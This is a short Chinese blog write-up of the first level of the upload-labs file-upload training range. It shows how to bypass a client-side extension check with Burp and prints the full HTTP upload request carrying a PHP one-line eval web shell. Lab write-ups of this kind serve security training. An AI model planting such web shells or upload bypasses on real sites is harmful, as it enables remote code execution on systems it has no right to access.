【ctf题目系列】upload-labs靶场 web 文件上传漏洞

upload-labs github链接

靶场搭建

phpStudy 2016搭建-upload-labs靶场

01

直接在浏览器源代码的位置修改不成功,所以选择在burp上进行尝试
将shell.php改为shell.png,上传该png图片,用burp拦截
修改filename为shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /Pass-01/index.php HTTP/1.1
Host: 192.168.20.201
Content-Length: 317
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.20.201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeHo9xtvBYEh3wzgK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.20.201/Pass-01/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: JSESSIONID=node01ked3r2wvuewui081fs0tsx7517.node0
Connection: close

------WebKitFormBoundaryeHo9xtvBYEh3wzgK
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['cmd']) ?>
------WebKitFormBoundaryeHo9xtvBYEh3wzgK
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryeHo9xtvBYEh3wzgK--
1
2
3
<?php phpinfo(); ?>
<?php @eval($_POST['cmd']) ?>


【ctf题目系列】upload-labs靶场 web 文件上传漏洞
http://example.com/2023/08/24/ctf/unsupported/【ctf题目系列】upload-labs靶场 web 文件上传漏洞/
作者
ningan123
发布于
2023年8月24日
许可协议